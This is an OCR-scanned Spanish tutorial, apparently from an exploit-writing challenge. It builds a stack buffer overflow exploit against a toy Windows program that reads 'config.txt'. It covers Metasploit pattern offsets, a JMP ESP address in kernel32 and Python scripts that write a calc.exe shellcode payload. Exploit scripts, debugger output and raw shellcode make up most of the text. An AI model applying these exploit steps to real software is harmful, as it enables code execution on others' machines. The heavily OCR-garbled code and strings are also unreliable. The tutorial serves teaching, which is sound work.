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¢Qué es un Buffer Overflow?

Es una falla dentro de un software, en la cual, mientras se copian datos hacia un buffer se sobrepasa el
limite del mismo, escribiendo asi datos sobre la memoria adyacente permitiendo de esta forma a un
atacante, ingresar codigo ejecutable malicioso (Shellcode).

Un ejemplo en la vida cotidiana podria ser cuando tenemos un vaso y lo queremos llenar mas de lo que
su capacidad le permite, esto provoca un desbordamiento de agua. Lo mismo pasa con los softwares
cuando un programador no coloca ciertas limitaciones.

En este taller veremos como aprovechar esta falla para obtener acceso por Shell a un ordenador

Cadigo a analizar:

#include <cstdlib>
#include <iostream>

using namespace std;

int main (int argc, char *argvl[])

{
char Nombre[20];
FILE *archivo;
char letras[1000];
archivo = fopen ("config.txt", "r");
fgets (letras, 1000, archivo);
strcpy (Nombre, letras):;

printf ("$s\n", Nombre) ;
system ("PAUSE") ;

fclose;

EXIT SUCCESS;


http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html
http://www.opengroup.org/onlinepubs/009695399/functions/fgets.html
http://www.opengroup.org/onlinepubs/009695399/functions/strcpy.html
http://www.opengroup.org/onlinepubs/009695399/functions/printf.html
http://www.opengroup.org/onlinepubs/009695399/functions/system.html
http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html

e, CiiDocuments and SettingsWidministrador\Escritorio\Reto.exe

Reto Programa tu Exploit by HD_Breake e s e
resione una tecla para continuwar . . . o

Este breve comando en C procede a leer de un archivo de configuracién "config.txt" cierta cantidad de
letras con el comando fgets, esta instruccidén no controla la cantidad de datos que soporta ni la cantidad
de datos que recibird, debido a que por légica, si este comando esta preparado para recibir 1000 letras y
nosotros le enviamos 1001 letras esto resultara en un Buffer Overflow y el tipico cartel de corrupcion de
memoria.

Entendido el concepto estamos listos para probar si esto es cierto.
Utilizando algun lenguaje de programacion (En este caso Python) empezaremos a preparar el exploit.

Variable A
a range (999) :

Variable Variable + 'A'
Archivo open ("config.txt","r+")
Archivo.write ('%$s' % (Variable))
Archivo.close ()

Con este simple cédigo probaremos el concepto, esto creara un archivo config.txt que contendra 1000
letras A concatenadas.

Sustituimos el archivo de configuracién del programa por el nuestro y vemos como se rompe:



Confirmar el reemplazo de archivo

i,—f Eska carpeta wa contiene un archivo con el nombre "config, bk,
iDesea reemplazar el archivio existente

_J E6 bytes
| modificado: jueves, 11 de ockubre de 2012, 22:35:57

pot eske akroy?

J 1000 bytes
| modificado: jueves, 31 de enero de 2013, 21:15:42

C:WDocuments and SettingsWWdministradorEscritorio\Reto.exe

Vemos como en un segundo el programa se rompe y al no tener un control de excepcién de control,
mejor conocido como exeption handling no salta la clasica ventana de Windows informando que el
programa se cerro inesperadamente.




Analizando con Ollydbg

% OllyDbg - Reto.exe - [CPU - main thread, module Reto]
[@] Fie View Debug Plugins Options Windaw Help

5 e 1 i S [ I e 3

CALL DWORD PTR DS:[<{&mswcrt. set_app t
CALL Reto.D0401108

CALL DWORD PTR DS:[{&msucrt. _set_app t
CALL Reto.Badal 16

ERROR_ENUUAR_NOT_FOUND (@6

JHP_ECH:

Q Dot know how to continue because memory at addresw1 4141 is not readable. Ty ta changs EIP o pass sxception ta program

JHP_Reto. BG4ECESH

RSCIL

Access violation when executing [41414141] - use Shift+F7/F8/FY to pass exceplion to program

Vemos el cartel que nos muestra como el EIP ha sido sobrescrito con el cédigo hexadecimal 41414141
en nuestro caso AAAA. Hemos encontrado nuestro BOF, es momento de Explotarlo.

Lo primero que necesitamos es encontrar la direccién exacta donde se realiza la sobrescritura, para eso
utilizaremos metasploit.

Vamos a nuestra ruta de metasploit y entramos en la carpeta tools
ejecutamos:
sudo ./pattern_create.rb 1000

y vemos un string de 1000 caracteres irrepetibles, esto nos servird para encontrar el largo exacto de la
cadena al momento de la sobrescritura.

/pentest/exploits/framework/tools




Sustituimos la variable de nuestro script en Python por el string generado con metasploit.
Queda de esta manera:

Variable -
'AalAalPha?2”ha3PhadhabPhabha’Ra8RrRa9”Ab0AblAL2AL3ALAADLSAL6ADLTADLE8ADLIACOACIAC?
Ac3Ac4Ac5AC6ACTACB8ACIAJOAdIAd2Ad3Ad4AdS5Ad6AdTAdBAdIAe0AelAc2Ae3Aed4Ae5A
cb6Ae7Ac8AcOATOALIAf2AT3AL4AT5AL6AL TAL8ALO9Ag0AglAg2Ag3Ag4Ag5AgHAgTAgEAY
9AhOAh1Ah2Ah3Ah4ANS5Ah6AN7AR8ANIAI0A1I1AI2A13A14A15A16A17A18A19A70A]1AT 2
Aj3A74A)J5AJ6A]TAJ8ATOAk0AKkIAK2Ak3AKk4AkS5AKk6AKTAKS8AKOAIOATIIALI2AI3A14A15A
16A17A18A19AMOAMIAM2AM3AMAAMSAMO6AM7AMSAMIANOAN1IAN2AN3AN4AN5AN6ANT7AN8AN
9A00A01A02A03RA04A05A06A07TA08A09AP0AP1AP2AP3APAAPSAP6AP TAPB8APIAQOAgLAG2
Ag3Ag4Ag5Ag6Aq7/Ag8AqOArOAr1Ar2Ar3AT4ArS5ATr6ATr 7Ar8Ar9As0As1As2As3As4AS5A
SO6AsT7TAsB8AsSOAtO0AtIALt2At3At4AEt5ALt0ALt7TALt8ALt9AUOAUlAUZ2AU3AU4AUSAUGAUTAUBAU
9AV0AV1AV2AV3AVAAVSAVOAVTAVEAVIAWOAW]I AWZ2AWIAWAAWSAWOAW /AWSAWIAXOAXIAX2
Ax3Ax4AX5AxX6AXTAX8AX9AYO0AYIAYy2AY3AY4AYS5AY6AYTAY8AYIAZ0AZ1AZ2AZ3AZ4AZ5A
z6Az 7Az8Az9BalBalBa2Ba3Ba4BabBabtBa7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8RBb
9BcO0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcI9BAOBA1IBA2BRA3Bd4BA5BA6BA7BA8Bd9Be0BelBe?2
Be3Be4Beb5Be6Be7/Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BRf9BgOBg1Bg2Bg3Bg4Bg5B
g6Bg7Bg8Bg9BhO0Bh1Bh2B"
#for a in range (999):

#Variable = Variable + 'A'
Variable - Variable
Archivo = open ("config.txt","r+")
Archivo.write ('%$s' % (Variable))
Archivo.close ()

Ejecutamos este script en Python y sustituimos nuevamente el archivo de configuracidn (config.txt)
Ejecutamos nuevamente con Ollydbg y vemos el string exacto en hexadecimal con el que se sustituyo el
EIP.

4% OllyDbg - Reto.exe - [CPU - main thread, module Reto]

EFHB View Debug Plugins  Opt Window  Help

CALL DWORD PTR DS:[<&msuort. _set_app_t
CALL Reto.Bo461 {66

CALL DWORD PTR DS:[{#msucrt. set_app t
CALL Reto.pa40110

ENVUAR_NOT_FOUND

Q Dot know how to continue because memory at address 6541395 s not readable. Ty ta changs EIP or pass sxception ta program

UHP Reto. BE4BCESE Aceptar

Address. RSCIT

ift+F7/F8/F4 to pass exception to program

lation when executing (F6413366] - use Shi




Anotamos este Cddigo:

66413965

Vamos de nuevo a nuestra ruta de metasploit y ejecutamos:
sudo ./pattern_offset.rb 66413965

Y podremos ver que el resultado es 148, esto es la direccién exacta de donde comienza el EIP

Exact match at offset 148
hdbreaker@hdbreaker: /pentest/exploits/framework/tools

Archivo Editar Ver Terminal Ayuda

Vamos a Modificar nuevamente nuestro script en Python, y deberia quedar asi:

Variable A
a range (147): #Cuenta desde 0 por 1o que queda en 148
Variable Variable + 'A'

Archivo open ("config.txt","r+")

Archivo.write ('%$s' % (Variable))
Archivo.close ()

Sustituimos nuevamente el archivo de configuracién por el nuevo generado con el Exploit

Una vez ejecutado, podremos apreciar el siguiente resultado:



% OllyDbg - Reto.exe - [CPU - main thread, module Reto]

[@] Fl= view Dsbug Plugins Options

2 Y O N I . Y S (I X B 3

41414141

41414141

Don't know how to continue because memary at address 41414141 i not readable. Try to change EIP or pass exception to program.

JHP_Ret.o. BE4BCEDY

RSCIT

Access violation when executing [41414141] - use Shift+F7/FB/F to pass exception to proaram

Se preguntaran... ¢Por qué se sobrescribe el EIP, si estamos escribiendo 148 caracteres y esto nos
posiciona justo en el momento de la sobrescritura?

Esto sucede porque los 148 bytes son la distancia con la cadena sobrescrita, es decir 4 bytes mas del
AAAA con que se sobrescribe el EPI, por lo que 148-4 = 144 Esto nos posicionara al comienzo del EIP sin
sobrescribirlo:

Ahora modificamos el script para que quede algo asi:

Variable — 'A'

for a in range (143): #Cuenta desde 0 por lo que queda en 144
Variable - Variable + 'A'

Archivo = open ("config.txt","r+")

Archivo.write ('$s' % (Variable))

Archivo.close ()

Sustituimos el archivo y ejecutamos nuevamente el programa.



co CiiDocuments and Settings\Administrador\EscritorioiReto.exe x

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADY
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARA
resione wuna tecla para continuwar . . .

Como vemos el programa no se rompe, lo que significa que no hemos sobrescrito el EIP y con suerte
estamos posicionados al pie de nuestro EIP.

Ahora probemos modificando nuestro script para que quede de la siguiente manera:

Variable A
EIP 'BBBB'
a range (143):
Variable Variable + 'A'
Variable Variable + EIP

Archivo open ("config.txt","r+")
Archivo.write ('%$s' % (Variable))
Archivo.close ()

Copiamos el archivo generado por nuestro Exploit y ejecutamos nuevamente el programa.

Con esto en la mayoria de los BOF estaremos en el pie del EIP o relativamente muy cerca con
variaciones de +- 4 bytes, este no es el caso y vemos que el software sigue rompiéndose por lo que
aplicaremos algo que se conoce como acorralar offset

sabemos que la sobrescritura de nuestro EIP se produce dentro de los 148 bytes, por lo que dividiremos
esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.

74 bytes 'A' y 74 bytes 'B'
Nuestro script quedara asi:
VariableA A

VariableB 'B'
Variable '



for a in range (74):
Variable = Variable + 'A'

for b in range (74):
Variable - Variable + 'B'
#Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
Archivo = open ("config.txt","r+")
Archivo.write ('%$s' % (Variable))
Archivo.close ()

Copiamos el archivo de configuracién y ejecutamos:

¥ OllyDbg - Reto.exe - [CPU - main thread, module Reto] - g X

EFHE View Debug Plugins Options Window Help

N e R e K o o K e =

JMP_Reto, BR4ECESE

fddress, RASCL

Aceess violation when executing [41414141] - use Shift+F7/F8/F4 to pass exception to program

Como vemos la sobrescritura es de 41414141 o lo g es lo mismo AAAA

deducimos que la sobrescritura se produce en los primeros 74 bytes.

Realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit creando
una cadena al asar e irrepetible de 74 bytes. Al ejecutar el programa nuevamente, vemos que se
sobrescribe el EIP con: 35624134

Pasamos pattern_offset 0x35624134 74

y nos da como resultado 44 bytes, posiblemente aqui sea donde se sobrescribe el EIP.

Modificamos el Script:

VariableA = 'A'

ETIP - 'BBBR'
Variable — '!



for a in range (44):
Variable Variable + 'A'
Variable Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
Archivo open ("config.txt", "r+")
Archivo.write ('%$s' % (Variable))
Archivo.close ()

OllyDbg - Reto.exe - [CP a ead, module Reto -
@F\\e View Debug Plugins Options  Window Help

Rorving | OS] ||| ] SR ] e

CALL DWORD PTR DS:[{&msuort. cet_app t
CALL Reto.Bo46116

CALL DWORD PTR DS:[{fmsucrt. set_app t
CALL Reto.5@48116

HP_EC:

JHP_EC.

Q Dot know how to continue becauss memory at address 35524134 is not readable. Ty ta change EIP of pass sxception ta program

JHP_Reto. BG4ACES|

Address |Hex dum ASCIT

mE

Como podemos ver EIP se sobrescribe con 42424242 por lo que hemos hallado la posicién exacta del EIP
procederemos a realizar nuestro Exploit con nuestro shellcode:
La estructura de nuestro script sera la siguiente:

44 Bytes: A
4 bytes: B (EPI)
100 bytes: C (ShellCode)

El Script quedard de esta manera:

VariableA 'A'
EIP 'BBBB'
Variable v
ShellCode v
for a in range (44): #Cuenta desde 0 por lo que queda en 144
Variable Variable + 'A'
Variable Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
for b in range (100) :
ShellCode ShellCode + 'C'
Variable Variable+ShellCode
Archivo open ("config.txt","r+")
Archivo.write ('$s' % (Variable))
Archivo.close ()



Copiamos el archivo de configuracién generado a la ruta del software vulnerable y ejecutamos con
Ollydbg.

% OllyDbg - Reto.exe - [CPU - main thread, module Reto]

[@] Fils View Dshug Plugins Options Window Help

Running

NEAR, &4

MP_Reto. BE4ECES

Address. RSCIT

Access violation when executing [42424242] - use Shift+F7/F8/F4 to pass exception to program

Como podemos ver en los Registros, tenemos:

.EIP SobreEscrito con 42424242 (BBBB)
.ESP SobreEscrito con 100 bytes de 'C'

Esto nos indica que debemos realizar un salto con EIP al ESP donde nuestra shellcode tiene un espacio
de 100 bytes (espacio que pude variar dependiendo cuanto indaguemos) para ser alojada.

Saltando al ESP

Abrimos Con Nuestro OllyDbg el software vulnerable, clickeamos en la letra E en la barra superior del
Olly (Executable Modules)

Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:

JMP ESP
CALL ESP

o alguna variacion matematica que nos posicione en ESP

POP POP RET
PUSH PUSH POP, etc.

Una vez que llegamos a esto, anotamos la direccion y volvemos al script



% OllyDbg - Reto.exe - [CPU - main thread, module kernel32]
B Fle View Debug Plugine Options Window Help

JHP kerne |32, FCE3E5AN
JGE kerne (32, 1FE4%
P kerne 132 1F353

JHP kerne |32, FLE387LHA

rne |32,
JE SHORT kernel32, FLE3GA4:
rne 32,

JHP kerne |32, OB 1FESE

JHP kernel32,7C8111E]

HZ k& 132, PC31F2CH
JE_SHORT kernel32. FC236ASH

RSCIT

Process teiminated, exit code CO000005 [-10737416149.)

Ahora modificamos nuestro script de la siguiente forma:

import struct #Importamos libreria Struct
VariableA - 'A'
EIP = struct.pack('<I', 0x7C8369D8) #Creamos el salto y lo colocamos
en la Variable que sustituira EIP
Variable = ''
ShellCode = '' #Creamos Variable que contendra la ShellCode
for a in range (44):
Variable - Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
for b in range (100):
ShellCode = ShellCode + 'C' #Llenamos de C los 100 bytes de la
ShellCode.
Variable = Variable+ShellCode
Archivo = open ("config.txt","r+")
Archivo.write ('$s' % (Variable))
Archivo.close ()

Copiamos nuestro Exploit config.txt al directorio del software vulnerable y lo ejecutamos con Ollydbg.
Si todo sale bien, no deberia salir ningln cartel de direccion invalida de EIP debido a que este realizara
un salto al pie de ESP (Comienzo de nuestra Shellcode)



% OllyDbg - Reto.exe - [CPU - main thread, module kernel32]
EFME View Debug Plugins Options Window  Help

MF_kerne |32, PC3355AN
JBE kerne |52, rCE1FE4!
JHP kerne |32, FCA1FES:

HP_kerne |32, PLE3Z3CE
HF_kerne |32, FLA3E7CH

JE_SHORT kerne |32, 7CE36A;

HP_kerne |32, PLE1FSSE

HF_kerne |32, 7C8111E]

Mz kerne |32, FLO1F2C]
JE_SHORT kerne |32, FCE36HES)

BSCIL 1 RETURN tx

Process terminated, exit code CO000005 [-1073741519.)

Como podemos ver no salto ningun error y vemos en el stack que estamos justo una linea antes de
nuestras 'C'

(43x100bytes)

Generando nuestra Shellcode

Para esto vamos a abrir nuestro Metasploit a modo web:

sudo ./msfweb

127.0.0.1:55555

Visitamos la direccidon web y entramos a nuestro modulo msfweb.

Vamos hacia payload y seleccionamos algin modulo de Command Execution. En este caso
seleccionaremos:

Windows Execute Command

Colocamos calc.exe como comando de ejecucidn y en tipo de encode seleccionamos Default Encode
(Esto puede variar dependiendo de como uno desee hacerlo)



C 127.0.0.1:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec ﬁ

‘ EXPLOITS PAYLOADS SESSIONS |
" Windows Execute Command
Name: win32_exec v1669
Authors: vlad902 <vlad902 [at] gmail.com>
Size: 130 bytes
Arch: x86
0S: win32
Execute an arbitrary command
CMD Required DATA The command string to execute
EXITFUNC Required DATA Exit technique: "process”, "thread", "seh"
Restricted Characters (format: 0x00 0x01)
[ oxo0
Selected Encoder:
[ Defautt Encoder v

corvrigHT © 2003-2005 meTaspLOIT.COM

Colocamos generate payload y aparece nuestra shellcode:

"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12"
"\x9c\x69\x7a\x83\xeb\xfc\xe2\xfd\xee\x74\x2d\x7a\x12\x9c\xe2\x3f"
"\x2e\x17\x15\x7f\x6a\x9d\x86\xf1\x5d\x84\xe2\x25\x32\x9d\x82\x33"
"\x99\xa8\xe2\x7b\xfc\xad\xa9\xe3\xbe\x18\xa9\x0e\x15\x5d\xa3\x77"
"\x13\x5e\x82\x8e\x29\xc8\x4d\x7e\x67\x79\xe2\x25\x36\x9d\x82\x1c"
"\x99\x90\x22\xf1\x4d\x80\x68\x91\x99\x80\xe2\x7b\xf9\x15\x35\x5e"
"\x16\x5f\x58\xba\x76\x17\x29\x4a\x97\x5c\x11\x76\x99\xdc\x65\xf1"
"\x62\x80\xcd4\xf1\x7a\x94\x82\x73\x99\x1c\xd9\x7a\x12\x9%c\xe2\x12"
"\x2e\xc3\x58\x8c\x72\xca\xe0\x82\x91\x5c\x12\x2a\x7a\x6c\xe3\x7e"
"\x4d\xf4\xf1\x84\x98\x92\x3e\x85\xf5\xff\x08\x16\x71\xb2\x0c\x02"
"\x77\x9c\x69\x7a";

Eliminamos las "" el ; y los espacios generando un solo string.
Lo colocamos en nuestro script (En este caso usaremos una pequefia shellcode que ejecuta una calc en
19 bytes)

"\ xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\XxE8\xF3\xFF\xFF\xFF\x63\x61\
x6C\x63"

import struct #Importamos libreria Struct

VariableA 'A'

EIP struct.pack('<I', 0x7C8369D8) #Creamos el salto y lo colocamos
en la Variable que sustituira EIP

Variable '

ShellCode
"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\
x6C\x63" #Creamos Variable que contendra la ShellCode



a range (44):
Variable Variable + 'A'
Variable Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
Variable Variable+ShellCode
Archivo open ("config.txt","r+")
Archivo.write('$s' % (Variable))
Archivo.close ()

Copiamos el archivo generado a la ruta del software vulnerable y lo ejecutamos.

= Cibocuments and Setting:

MAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT id tuB]laoqw ElPH calc
Presione una tecla para continuar . . .

§ calculadora - @

Edicion  ‘er Awuda

(JHex @ Dec () 0Oct () EBin (®) Sexagesimal () Radiagn () Centesimal

[ e [ 1Hyp ’_ ’_ Retrocezo

| Sta | F-E ] MC

By I kA

[

b+

pi

Pravec

Y como podemos ver, nuestra shellcode se ha ejecutado con éxito, y hemos realizado nuestro primer
Exploit BOF



